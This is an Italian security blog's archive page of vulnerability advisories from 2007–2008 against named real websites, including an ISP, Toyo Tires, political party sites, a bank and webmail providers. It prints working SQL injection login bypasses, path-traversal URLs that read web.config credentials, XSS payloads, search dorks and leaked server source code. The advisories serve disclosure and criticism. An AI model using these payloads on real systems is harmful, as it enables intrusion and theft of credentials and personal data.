Advisory « cyphersec

19Jan/082

Eutelia, Remote File Inclusion, XSS etc etc etc

Cattivi e buoni programmatori anno 2008. Sarà perchè vengo dalla lettura dell'ultimo libro di joel, sarà perchè ultimamente sto facendo altri tipi di studi, ma più mi sforzo e più non riesco a spiegarmi come si possano realizzare prodotti scadenti.

Analiziamo per punti.

Eutelia (sembra) non sviluppare mai da zero i propri siti, si affida a componenti CMS Opensource (Joomla).
Nel caso in cui si presenti la necessità di integrare sistemi di business logic, questi vengono realizzati internamente.
Sembra non si curi di aggiornare i prodotti di terze parti free utilizzati.
Sembra non avere un team di beta testers.
Sembra non aver sottoscritto contratti di penetration testing.

Per il punto uno e due c'è poco da argomentare.

Punto tre, la storia di Joomla è piena di vulnerabilità, lo sappiamo tutti e secunia ce lo ricorda molto volentieri [2]. Dall'anno 2003, anno di rilascio di questo prodotto, ben tredici advisories sono stati rilasciati, lode al team di joomla per aver risposto sempre velocemente con una percentuale del 85% di bug fix. A gennaio è stato rilasciato un advisory che permette ad utente (senza privilegi) di prendere il totale controllo dell'applicativo.. avranno scaricato ed installato le patch? (no).

Comunque, se i punti quattro e cinque non fossero veri, non sarei qui a scrivere questo ed altri post. Già alla fine di maggio dell'anno scorso [1], inciampai per sbaglio nel codice di questi programmatori. A distanza di circa un anno, sono dovuto tornare sul portale di eutelia per alcune ricerche, e, anche questa volta, ho trovato un altra perla del software. Stiamo parlando del prodotto EuteliaVOIP, nome dietro il quale si cela la lodevole iniziativa di portare la connettività nelle zone non ancora coperte da ADSL.

Con il tempo, Eutelia ha installato access point wifi che permettono, a fronte di una sottoscrizione, di navigare in velocità ADSL. Data la verifica di copertura del segnale da parte degli utenti prima e di tecnici eutelia poi, è possibile navigare in internet. Cool.

Attivare una connessione è più o meno semplice, basta acquistare uno starter kit (199€) e sottoscrivere l'abbonamento. Fatto questo verranno consegnate delle credenziali che, dopo essere validate dall'applicativo, permetteranno all'utente di avere una vita su internet. Per fare questo ci si collega all'indirizzo http://wifi.euteliavoip.com si seleziona la voce "Attiva Login" il sistema valida le credenziali e e così via. Tutto sembra andare liscio come l'olio, ma dando una piccola sbirciata "under the hood" ci troviamo davanti ad un altra cattiva (nulla) introduzione di sistemi di sicurezza.

Come è logico aspettarsi, il componente di accesso è sotto HTTPS, e viene visualizzato all'utente grazie ad un "iframe". Lo stesso avviene per i form di richiesta credenziali. Ora il problema non è tanto con l'implementazione (che sicuramente non è delle più eleganti), ma è con il componente stesso.

Nel momento in cui viene effettuato il click sul pulsante "Avanti" l'applicativo invia in le seguenti variabili

wc_login (username)
wc_password (password)
wc_retpath (return path?)
wc_dbos
CmdAttiva

5 paramentri, di cui solo due sono valorizzati dall'utente. Uhm? Veloce controllo dei valori passati e... "ding". Supponiamo che tentiate il login con l'utenza "prova - prova", ecco i valori delle cinque le variabili.

wc_login = "prova"
wc_password = "prova"
wc_retpath = "wbc_skpopenaccountwifi"
wc_dbos = "dbeutelia"
CmdAttiva = "Attiva"

Il motivo dell'esistenza della variabile wbc_retpath è sconosciuto, perchè, anche settandola con altri valori (anche di altri componenti di eutelia) essi non sembrano in alcun modo influenzare l'applicativo, la cosa sconcertante è notare che.. il valore wc_dbos è il valore utilizzato dall'applicativo per indentificare il database su cui eseguire le query! Nel caso in cui non vengano effettuate modifiche a questa variabile si riceve l'errore

Email o Password errati
E' anche possibile che la sottoscrizione non sia stata ancora confermata, controllore la propria casella di posta.
Cliccare sul bottone "Indietro" del browser.....

Se invece si cambia il valore in qualsiasi altra cosa.. si riceve l'errore che, tristemente, ci conferma l'impossibilità di aprire il database richiesto o_O.

Naturalmente è possibile modificare a piacimento il valore di questa variabile per andare a renderizzare qualsiasi tipo di codice (anche php) all'interno dell'applicativo stesso. E attenzione quando si dice questo, perchè l'inclusione di codice remoto può portare a spiacevoli conseguenze.

Per dimostrare la vulnerabilità, ci limiteremo a valorizzare la variabile con il seguente codice

<iframe src="http://www.ansa.it" width="600" height="800">

Le conclusioni.. le lascio a voi. Auguro ad Eutelia di trovare programmatori che si possano definire tali e sopratutto di rivedere le proprie regole di rilascio in produzione.. sempre che esse esistano.

Riferimenti:

[1] "Tecniche errate di prevenzione, un esempio reale" - http://www.cyphersec.com/?p=76

[2] "Joomla! 1.x - Vulnerability Report" - http://secunia.com/product/5788/?task=statistics

Filed under: Advisory, XSS, riflessioni 2 Comments

27Nov/070

Advisory: Toyo Tires

Update: non avendo ricevuto risposta, rilascio le info necessarie. As usual, non mi assumo alcuna responsabilità per eventuali defacement e/o alterazioni al contenuto del sito in questione.

toyo.com
Alessio Marziali
www.cyphersec.com
Vendor contattato il : 27/11/2007
Risposta Vendor : no
Rilasciato pubblico: 03/12/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : BEX Management - Shaw Binary Systems Inc

Digitando http://www.toyo.com/admin si arriva alla pagina di login del componente BEx Management della Shaw Binary Systems Inc. Il componente è vulnerabile a SQL Injection. Questo significa che, anything' OR 'x'='x legata ad una qualsiasi username ci apre le porte del reame Toyo.

Cosa è possibile fare una volta effettuato il login:

Inserire codice XSS per contaminare più computer possibili attraverso keyloggers, malaware etc.
Inserire informazioni errate
Inserire informazioni per distruggere la credibilità dell'azienda stessa
etc etc

Cosa interessante è che nella pagina di login, senza alcuna bisogno di loggarsi, è possibile aggiungere dealers toyo.. http://www.toyo.com/admin/dealers.asp

Al momento non ho effettuato ulteriori ricerche, ne provato ulteriori dork. Nel caso, fatemi sapere.

Filed under: Advisory, Vulnerabilità No Comments

30Oct/070

Protected: Advisory: difesa.it

Filed under: Advisory, Vulnerabilità No Comments

1Oct/070

Advisory:veltroniperlitalia.it ed altri (Path Traversal)

Cosa succede quando unisci due tool come Google2TXT e TPF?
Succede che continui a recuperare una vasta serie di informazioni che potrebbero essere utili a qualcuno.

Per esempio, utilizzando la dork "inurl:gw/producer/dettaglio.aspx?" Google2TXT restituisce 28 risultati. Successivamente, dopo aver filtrato i risultati ed averli passati a PTF (test mode), vengono rilevate valide le seguenti chiamate:

   2: http://www.axia.org/gw/producer/index.aspx?t=/gw/producer/dettaglio.aspx

   3: http://www.nessuno.tv/gw/producer/index.aspx?t=/web.config

   5: http://www.veltroniperlitalia.it/gw/producer/index.aspx?t=/web.config

   6: http://www.unibasket.it/gw/producer/index.aspx?t=/web.config

   7: http://dev.nessunotv.dol.it/gw/producer/index.aspx?t=/web.config

Giuro che non lo faccio di proposito, ma ogni volta che cerco vulnerabilità salta fuori sempre qualche sito politico.

Filed under: Advisory, Vulnerabilità No Comments

17Sep/072

lanuovastagione.it, il codice incriminato

Continuiamo a parlare di lanuovastagione.it, un altro degli scandali italiani.
L'applicativo non solo ci mette a disposizione il web.config.. ma ci mostra anche il codice sorgente.

Sei giorni sono passati. Di risposte o di fix nemmeno l'ombra. Credo che i tempi siano maturi per rilasciare pubblicamente il codice sorgente. L'applicativo è sviluppato in Visual Basic.NET. E' stato scelto di non compilare il codice, ma di lavorare in codebehind lasciando i sorgenti direttamente all'interno del server. Questo significa che, per ogni pagina aspx presente è possibile recuperare il codice sorgente andando ad interrogare il relativo file .aspx.vb.
Prestate attenzione alle query e alla gestione delle variabili "template".

NB : Il ragionamento si applica anche ai seguenti siti.

http://www.diregiovani.it/
http://www.dsonline.it/
http://www.saperidemocratici.it/
http://www.italiafrica.it/
http://bologna07.festaunita.it/
http://byebye900.festaunita.it/

Buona lettura.

Live http://www.lanuovastagione.it/gw/producer/dettaglio.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\dettaglio.aspx.vb

Partial Class gw_producer_dettaglio
Inherits System.Web.UI.Page
 
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
 
End Sub
    Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
        Dim id_doc As Integer = DOL.snippets.defval(Request("id_doc"), 0)
        Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
        Dim documento As storyega.documento = New storyega.documento(cenvironment.ConnectionString, id_doc)
        meta = documento.getMeta
        'checkRights(meta)
        Dim template As String = DOL.snippets.defval(Request("t"), "")
        
        If template.Length = 0 Then
            template = DOL.snippets.defval(DOL.utility.sql.getSQLSingleValue("select templatepath from gw_doc_plain where id=" & id_doc, cenvironment.ConnectionString), "/gw/template/dettaglio.htm")
        End If
 
        'CODICE SPECIFICO AXIA
     'Inserire qui il codice utente necessario per inizializzare la pagina
         Try
            glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
          Catch ex As Exception
            Response.Write("error on: " & template)
          'Response.Redirect("http://wwww.dsonline.it" & template & "?id_doc=" & id_doc)
        End Try
    End Sub
 
    Private Function getDataDoc(ByVal id_doc As Integer) As Date
        Dim sql As String = String.Format("SELECT data_doc FROM DOCUMENTO WHERE id_doc={0} ", id_doc)
        Dim datadoc As Date = Nothing
            Try
                datadoc = DOL.utility.DB.SQLClient.getSingleValue(cenvironment.ConnectionString, sql)
                Catch ex As Exception
            End Try
        Return datadoc
    End Function
End Class

Live http://www.lanuovastagione.it/gw/producer/index.aspx
Link : http://www.lanuovastagione.it/gw/producer/index.aspx?t=\gw\producer\index.aspx.vb

Partial Class gw_producer_index
 
Inherits System.Web.UI.Page
 
Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
End Sub
 
    Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
    'Dim navman As StoryeGA.StoryeNavigationManager
    'navman = New StoryeGA.StoryeNavigationManager(Navigatore)
    'navman.connectionString = cenvironment.ConnectionString
    'navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
     'Select Case DOL.snippets.defval(Request("o"), 1)
     ' Case 0
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
     ' navman.sqlSortFieldName = "sortorder"
     ' Case 1
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
     ' navman.sqlSortFieldName = "sortorder"
     ' Case 2
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
     ' navman.sqlSortFieldName = "ID"
     ' Case 3
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
     ' navman.sqlSortFieldName = "ID"
     ' Case 4
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
     ' navman.sqlSortFieldName = "text3"
     ' Case 5
     ' navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
     ' navman.sqlSortFieldName = "ID"
     'End Select
     ' ''navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
     ' ''navman.sqlTableName = "VIEW_ATTR_VIDEOPOST_EXT"
     ' ''navman.sqlSortFieldName = "id_blogdoc"
     ' ''navman.go()
     ''Dim param As System.Collections.SortedList = New System.Collections.SortedList
     'Dim param As New System.Collections.Hashtable
     'param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
     'param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
     'param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
     'Dim pipo As StoryeGA.ListDocNavmanagerMetaBuilder = New StoryeGA.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
     'pipo.setParam(param)
     'Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
     'meta.Add("DOC", pipo.getMeta)
     'Dim template As String = DOL.snippets.defval(Request("t"), "")
     ''Inserire qui il codice utente necessario per inizializzare la pagina
     'Try
     ' glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
     'Catch ex As Exception
     ' Response.Write(ex.Message)
     ' Response.End()
     'End Try
     Dim navman As storyega.StoryeNavigationManager
     navman = New storyega.StoryeNavigationManager(Navigatore)
     navman.connectionString = cenvironment.ConnectionString
     navman.PageDimension = DOL.snippets.defval(Request("pd"), DOL.snippets.GetConfigKey("recperpage"))
    
    Select Case DOL.snippets.defval(Request("o"), 1)
         Case 0
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
             navman.sqlSortFieldName = "sortorder"
         Case 1
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
             navman.sqlSortFieldName = "sortorder"
         Case 2
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
             navman.sqlSortFieldName = "ID"
         Case 3
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
             navman.sqlSortFieldName = "ID"
         Case 4
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Crescente
             navman.sqlSortFieldName = "text3"
         Case 5
             navman.Sorting = dolClasses.dolTypes.Ordinamento.Decrescente
             navman.sqlSortFieldName = "text3"
     End Select
     
     Dim param As System.Collections.Hashtable = New System.Collections.Hashtable
     param.Add("AREA", DOL.snippets.defval(Request("AREA"), Nothing))
     param.Add("GPL", DOL.snippets.defval(Request("GPL"), Nothing))
     param.Add("TIPODOC", DOL.snippets.defval(Request("TIPODOC"), Nothing))
 
     Dim pipo As storyega.ListDocNavmanagerMetaBuilder = New storyega.ListDocNavmanagerMetaBuilder(cenvironment.ConnectionString, navman)
     pipo.setParam(param)
     Dim meta As System.Collections.Hashtable = New System.Collections.Hashtable
     meta.Add("DOC", pipo.getMeta)
     Dim template As String = DOL.snippets.defval(Request("t"), "")
     'Inserire qui il codice utente necessario per inizializzare la pagina
     Try
     glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, meta)
         Catch ex As Exception
             Response.Write(ex.Message)
             Response.End()
         End Try
     End Sub
End Class

Live http://www.lanuovastagione.it/servizi/ec/contributi.aspx
Link http://www.lanuovastagione.it/gw/producer/index.aspx?t=\servizi\ec\contributi.aspx

Imports DOL.utility
 
Partial Class contributi
 Inherits System.Web.UI.Page
 
 Protected Sub Page_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
 'Inserire il codice da eseguire prima degli eventi di pagina
 End Sub
 
 Protected Sub Page_PreRender(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.PreRender
 'Inserire il codice da eseguire dopo gli eventi di pagina
 Dim template As String = DOL.snippets.defval(Request("t"), "")
     If template.Length = 0 Then template = "/servizi/ec/contributi.htm"
     'Inserire qui il codice utente necessario per inizializzare la pagina
     glamwareadapter.initialize(Me, template, cenvironment.ConnectionString, "/", Me.Context, Nothing)
End Sub
 
 Private Sub btInvia_Click(ByVal sender As System.Object, ByVal e As System.Web.UI.ImageClickEventArgs) Handles btInvia.Click
 If Page.IsValid Then
 
 ''' invia i dati alla banca
 'Inserire qui il codice utente necessario per inizializzare la pagina
 'Me.lblResult.Text = MAC
 Dim flag As Integer = 0
 
 Dim _importo As Long = Val(Me.txImporto.Text) * 100
 flag += 1
 Me.Label1.Text &= flag & " "
 Dim bankpass As New CBankPass
 bankpass = New CBankPass(_importo)
 flag += 1
 Me.Label1.Text &= flag & " "
 
 Dim rp As New DOL.RemotePost
     With rp
     .Add("IMPORTO", _importo)
     .Add("VALUTA", bankpass.Valuta)
     .Add("NUMORD", bankpass.Numord)
     .Add("IDNEGOZIO", bankpass.Idnegozio)
     flag += 1
     Me.Label1.Text &= flag & " "
     .Add("URLBACK", bankpass.Urlback & "?NUMORD=" & Server.UrlEncode(bankpass.Numord))
     flag += 1
     Me.Label1.Text &= flag & " "
     .Add("URLDONE", bankpass.Urldone)
     .Add("URLMS", bankpass.Urlms)
     .Add("TCONTAB", bankpass.Tcontab)
     .Add("TAUTOR", bankpass.Tautor)
     .Add("MAC", bankpass.MACRequest(Me.Server))
     flag += 1
     Me.Label1.Text &= flag & " "
     .Url = bankpass.Bankpassurl
 
     ' prima di inviare salvo su database il tentativo di transazione
     Dim sql As String = ""
     Dim fields As New System.Collections.Specialized.NameValueCollection
         With fields
         .Add("nome", DB.Common.SQLTConv(Me.txNome.Text))
         .Add("cognome", DB.Common.SQLTConv(Me.txCognome.Text))
         .Add("email", DB.Common.SQLTConv(Me.txEmail.Text))
         .Add("telefono", DB.Common.SQLTConv(Me.txTelefono.Text))
         .Add("citta", DB.Common.SQLTConv(Me.txCitta.Text))
         .Add("cap", DB.Common.SQLTConv(Me.txCap.Text))
         .Add("provincia", DB.Common.SQLTConv(Me.txProvincia.Text))
         .Add("importo", DB.Common.SQLNConv(CType(_importo, Double) / 100.0))
         .Add("valuta", DB.Common.SQLNConv(bankpass.Valuta))
         .Add("numord", DB.Common.SQLTConv(bankpass.Numord))
         .Add("tcontab", DB.Common.SQLTConv(bankpass.Tcontab))
         .Add("tautor", DB.Common.SQLTConv(bankpass.Tautor))
         .Add("inlist", IIf(Me.ckPublic.Checked, 1, 0))
         End With
         Me.Label1.Text &= flag & " "
         .Url = bankpass.Bankpassurl
 
     sql = DB.Common.BuildSQLINSERT("LOOKUP_TRANSAZIONI", fields)
     Me.Label1.Text &= "<br>" & sql & "<br>" & cenvironment.ConnectionString
     'Exit Sub
         Try
             DB.SQLClient.doexec(cenvironment.ConnectionString, sql)
             'Me.Label1.Text &= flag & " "
             'Exit Sub
             '.Url = bankpass.Bankpassurl
            .Post()
         Catch ex As Exception
            Me.Label1.Text = ex.Message
         Finally
    End Try
    End With
End If
End Sub
 
    Private Sub CustomValidator1_ServerValidate(ByVal source As System.Object, ByVal args As System.Web.UI.WebControls.ServerValidateEventArgs) Handles CustomValidator1.ServerValidate
    args.IsValid = IsNumeric(Me.txImporto.Text)
        
        If Not args.IsValid Then
            Return
        End If
        
        For i As Integer = 1 To Me.txImporto.Text.Length
        Dim s As String = Mid(Me.txImporto.Text, i, 1)
            If Not ("0" <= s And s <= "9") Then
                args.IsValid = False
                Return
            End If
        Next
        args.IsValid = True
    End Sub
End Class

Filed under: .NET, Advisory, Vulnerabilità, riflessioni 2 Comments

11Sep/0710

Advisory: lanuovastagione.it ed altri [xss e le credenziali amministrative in chiaro]

Sarò sincero. E' tutto il giorno che mi pongo la domanda : "dovrei rilasciare pubblicamente le vulnerabilità rilevate o dovrei contattare direttamente il vendor ed informarlo del tutto?"

Non ce la faccio.

Domenica scorsa parlavo di un interessante argomento. L'importanza dei programmatori nell'era del mondo digitale. Siamo a tre giorni dalle primarie ed ecco come si presenta il comitato per il partito democratico di Walter Veltroni & company. Una catastrofe.

Mi rendo conto di rischiare e anche grosso pubblicando queste informazioni. Ma qualcuno deve pur capire a cosa si va incontro continuando a portare avanti questa politica di settore.. ahimè totalmente errata.

Partiamo da Cross Site Scripting. La pagina index.aspx, attraverso il non controllo della variabile GET t può condurre a differenti exploit. Ecco un esempio. Il codice javascript non codificato HTML è il seguente

 1: </xss 2: /*complimenti signori*/ 3: style=xss:expression(alert('owned')) 4: >

il quale codificato HTML si trasforma in

 1: /* Cyphersec.com 2:  11 settembre 2007 3:  www.lanuovastagione.it [index.aspx] || craftato con IE || 4:  variabile GET t non verificata >> XSS 5: */  6:http://www.lanuovastagione.it/gw/producer/index.aspx?t=%3C%2Fxss%2F%2Acomplimenti%20signori%2A%2Fstyle%3Dxss%3Aexpression%28alert%28%27owned%27%29%29%3E

Ma non finisce qui. Le vulnerabilità SQL Injection (su ricerca.aspx) diventano inutili quando possiamo tranquillamente andare a recuperare username e password ed altre informazioni "critiche" dal file web.config. Si avete letto bene. L'applicativo in questione vi mostrerà tutto.. ma proprio tutti i file che sono presenti all'interno della directory virtuale. Come?

Aprite il sito www.lanuovastagione.it nel menù in alto identificate la voce "discorsi ed intervalli" controllate il link a cui porta. DING!

 1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/documenti/indice.htm&tipodoc=97

vedete la nostra tanto amata variabile t? si vedete bene. questa variabile.. legge il contenuto della pagina (occhio ai valori querystring) /documenti/indice.htm e ne renderizza il contenuto a video. Bene perfetto.. complimenti ancora.

Come i programmatori .NET sapranno.. le applicazioni web "dovrebbero" archiviare le informazioni importanti in un file chiamato web.config. Questo file non può (e grazie a dio) essere visualizzato a video attraverso una chiamata diretta. Per esempio

 1: http://www.lanuovastagione.it/web.config

vi ripoterà ad una pagina .NET la quale v'informerà che non potete visualizzare il suo contenuto perché a livello di architettura il framework non lo permette. giustissimo.

Con dispiacere.. andando a trasformare t=/documenti/indice.htm&<serie di chiave valore> in t=\web.config arriviamo a questo link

 1: http://www.lanuovastagione.it/gw/producer/index.aspx?t=/web.config

Cosa ho fatto? ho semplicemente chiesto di chiamare sulla root principale il file web.config. Se notate si aprirà una pagina totalmente bianca (o del colore di background da voi impostato). Tutto qui? No. La pagina è stata correttamente renderizzata.. solo che non è visibile... Ora provate a fare "Visualizza Sorgente Pagina" o (se preferite) "View Source" e copritevi gli occhi.

username e password + databasename del database contenete i contenuti del portale. Poco importa se il database, a prima vista, sembra non essere totalmente esposto su internet. Ma che dire dei valori "impersonateLogin" e "ImpersonatePassword" oppure dei valori contenuti nel ramo "credentials"?

Vergogna.

update : su suggerimento di Denis, utilizzando la dork "inurl:/index.aspx?t=" sono "saltati" fuori altri siti vulnerabili.

http://www.diregiovani.it/gw/producer/index.aspx?t=/web.config
http://www.dsonline.it/gw/producer/index.aspx?t=/web.config
http://www.saperidemocratici.it/gw/producer/index.aspx?t=/web.config
http://www.italiafrica.it/gw/producer/index.aspx?t=/web.config
http://bologna07.festaunita.it/gw/producer/index.aspx?t=/web.config
http://byebye900.festaunita.it/gw/producer/index.aspx?t=/web.config

Filed under: Advisory, CyberCrime, Hacking, Vulnerabilità, XSS, riflessioni 10 Comments

6Jun/070

Advisory: Banca di Credito Cooperativo Alta Padovana: XSS,SQL Injection

banca alta padovana La banca di Credito Cooperativo dell'Alta Padovana Scrl è una piccola realtà del settore bancario attiva nella regione veneto. Il sito reperibile all'indirizzo www.altapd.it è affetto dalle seguenti vulnerabilità: Except Header Manipulation (Apache Vuln) SQL Injection (faqdetail.php). La prima vulnerabilità si risolve automaticamente aggiornando all'ultima versione disponibile del software Apache. Data la mancanza di autorizzazione, non è stato possibile investigare sui possibili effetti della manipoalzione del paramentro ID richiesto dalla pagina faqdetail.php. Impossibilitato a verificare la vulnerabilità SQL injection, e, non essendo possibile modificare il valore del Header Except data una richiesta client, questo advisory si assesta sul livello (low).

www.altapd.it
Alessio Marziali
www.cyphersec.com
06/06/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Except Header Manipulation (conseguenza xss)
Componente Vulnerabile : WebServer Apache
Proof of Concept: Visualizzazione alert JavaScript "XSS"
GET / HTTP/1.0 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: www.altapd.it Connection: Close Expect: < script>alert('XSS')< /script> Pragma: no-cache

Tipologia Vulnerabilità : SQL Injection
Componente Vulnerabile : faqdetail.php (cartella scriptroot)
Proof of Concept: Visualizzazione errore MySQL
http://www.altapd.it/scriptroot/faqdetail.php?id='

Filed under: Advisory No Comments

30May/070

Advisory: webmail.register.it / webmail.inet.it [XSS]

webmail Dopo Aruba S.p.A è il turno di Register.it e Inet.it altri due "giganti" del settore Hosting Italiano. Anche questa volta sotto la lente d'ingrandimento sono finite due degli applicativi maggiormente utilizzati per la gestione della posta elettronica via web.

Come molti avranno notato, i test sono principalmente indirizzati alla rilevazione di falle di tipo Cross Site Scripting. La mia preoccupazione più grande, che mi sento in dovere di denunciare, è la totale assenza dell'adozione di canali di codifica per il transito delle credenziali. Sinceramente mi stupisco di come sia possibile il non utilizzo di canali https per applicazioni "sensibili" come le webmail. Purtroppo, questa grave dimenticanza rende possibile lo spoofing delle credenziali di accesso degli utenti sotto controllo da maleintenzionati (si, parlo a te che sniffi la rete wifi del tuo vicino).

Tornando al nostro post; ecco gli ormai "familiari" advisory:

webmail.register.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : Cookie
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
GET http://webmail.register.it:80/login.html HTTP/1.0 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322) Host: webmail.register.it Cookie: cookie%5Bdomain%5D=deleted;cookie%5Buserid%5D=>">< script%20%0a%0d>alert('XSS')%3B< /script>;PHPSESSID=1ca9f22c7e32522815ede79b29ca9fe9;__utma=177195445%2E1258436166%2E1180555463%2E1180555463%2E1180555463%2E1;%20path=%2F;%20expires=Sun%2C%2018%20Jan%202038%2000%3A00%3A00%20GMT;%20domain=acunetix%2Ecom;=111-222-1933email@address.com;__utmb=177195445;__utmc=177195445;__utmz=177195445%2E1180555462%2E1%2E1%2Eutmccn%3D%28direct%29%7Cutmcsr%3D%28direct%29%7Cutmcmd%3D%28none%29;%20%20expires=Thu%2C%2029%20Nov%202007%2008%3A04%3A22%20UTC;GUID=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF Connection: Close Pragma: no-cache

webmail.inet.it
Alessio Marziali
www.cyphersec.com
30/05/2007
alessio.marziali@cyphersec.com
Tipologia Vulnerabilità : Cross Site Scripting
Componente Vulnerabile : index.cgi
Proof of Concept: Visualizzazione alert JavaScript "XSS" (rimuovere gli spazi)
http://webmail.inet.it:80/?lang=< script%20%0a%0d>alert('XSS')%3B< / script>

L'invito è sempre il solito.
1)Evitare l'uso di questi servizi mail per la trasmissione di comunicazioni sicure.
2)Se il punto 1 non è attuabile, utilizzare FireFox ed abilitare NoScript per i servizi indicati.

A volte bisogna imparare dai grandi per riuscire a fare prodotti sicuri.

Filed under: Advisory No Comments

26May/070

Advisory: Aruba WebMail

aruba xss Aruba WebMail XSS.
Data : 25/07/2007
Alessio Marziali
www.cyphersec.com

Vulnerabilità rilevate : Cross Site Scripting
Componente Vulnerabile : webmail.cgi
Effetti : Al fine di recuperare il maggior numero di credenziali, un utente malintenzionato può modificare il contenuto della pagina ed avviare una sessione di phishing.

Impatto : Stando a quanto affermato nella pagina "chi siamo" Aruba S.p.A gestisce 3.500.000 caselle e-mail, la quale di fatto aumenta il livello di criticità ad "elevato".

[Proof of Concept 1] Javascript Alert, Cambio Titolo, Modifica Contenuto.

Risoluzione alla vulnerabilità: Per i tradizionali scopi di utilizzo, la valorizzazione del parametro "msg" non deve accettare i valori passati via querystring.

Consiglio agli utenti : Disabilitare Javascript tramite plugins come quello sviluppato da Giorgio Maone "[NoScript]"

Update : Attraverso il forum community.aruba.it, nel 15/12/2006 la stessa vulnerabilità fu segnalata ad Aruba S.p.A; Ad oggi nessun intervento è stato effettuato per risolvere questa grave falla.

Riferimenti : Security for GWT Applications

Filed under: Advisory No Comments

23May/070

Enti bancari e privacy.. sono i vostri dati al sicuro?

Purtroppo non è così. Ieri sera alle ore 21.50 ho inviato ho contattato una delle più grandi banche italiane segnalando multiple vulnerabilità su un sito "ad uso interno", che invece non lo era. L'applicativo in questione, sviluppato con una logica da programmatore di 2 mesi d'esperienza, permetteva (a chiunque ne facesse richiesta) di visionare i seguenti dati:

Nome,Cognome,Codice Fiscale,Data di Nascita,Età,Telefono,Cellulare,Residenza,
Datore di lavoro,Reddito Mensile,Coordinate Bancarie etc etc

Per chi si sta chiedendo come sia possibile recuperare determinate informazioni.. ecco cosa ho fatto.

Google Query : allinurl:xxxxx.it

Tra la lista appare inforxxx.xxxx.it il quale risponde all'indirizzo IP 195.7.xx.xx. Cercando tra i diversi indirizzi IP si arriva a 195.x.xx.xx. Ho fatto solo uno scan sulle porte più frequenti per scoprire che la porta 80 è aperta.

Aprendo dunque, http://195.x.xx.xxx:80 si arriva ad un sito il quale presenta un form di accesso "PRECOMPILATO" di tutti i valori necessari ad eseguire il login. Una volta che si ottiene l'accesso al sito è possibile utilizzare la funzione "Ricerca Clienti" per recuperare tutte le informazioni che si vogliono. A partire dal CDG di un fantomatico "XXXXX XXXX" (3X1XXX) è possibile tentare di recuperare informazioni su più clienti. Tutto il mondo sà che il signor "XXXXX XXXX codice fiscale : XXXXXXXX residente in VIA GIOXX DA XXXXXX, 29 è un operaio artigiano con un reddito di 1.100.00€. Lavora per la COOPERATIVA XXXX a XXXX in VIA F.XXXXX 166. Il suo numero di telefono è 055XXXXXX. Le sue cordinate bancarie sono Abi:XXXXX, Cab: XXXXX, C/C XXXXXXXXX)

Ma non solo. Il sito è affetto dalle seguenti vulnerabilità:
Cross Site Scripting (startxml.asp)
SQL Injection (pass.asp)
[Proof of Concept]
inviare via post alla pagina startxml.asp i seguenti valori

ABIBANCA=>">alert('codice%20xxs')%3B&ANAGRAFICAPDL=INTERNO%20XXXX%2EIT&CABFILIALEOPERATIVA=38XXX&CODICEFILIALE=9&submit1=XML%20per%20accesso%20XXXX

Mi viene da chiedermi, ma chi lavora con dati di una certa rilevanza non dovrebbe avere delle regole di sviluppo per evitare queste pubbliche violazioni della privacy? A quanto sembra no.

Update : Nel momento in cui scrivo l'host è ancora raggiungibile, ma attenzione, adesso la risposta è un bel "Bad Request (Invalid Hostname)".

Filed under: Advisory, Vulnerabilità No Comments

Older Entries »

Alessio

Alessio Marziali (MCTS) is a Security Consultant with 10 years of experience developing secure applications with Microsoft .NET in a variety of sectors in UK and Italy. Published technical author with two ASP.NET books currently available for purchase and OWASP Code Crawler Project Leader.

get in touch$

I'm on twitter. alessiomarziali and Linkedin.

recent-stories$

archive$list

.NET (39)
- C# 2008 (4)
- Pro ASP.NET (12)
Advisory (12)
Agile (12)
Articoli (5)
Browsers (1)
Code Review (19)
- Code Crawler (8)
Crittografia (7)
CyberCrime (14)
Hacking (22)
- Reco (2)
Ipod (1)
London (5)
My Life (9)
owasp.org (19)
Pair Programming (2)
riflessioni (44)
SDLC (1)
Sec Tools (15)
- TPF (2)
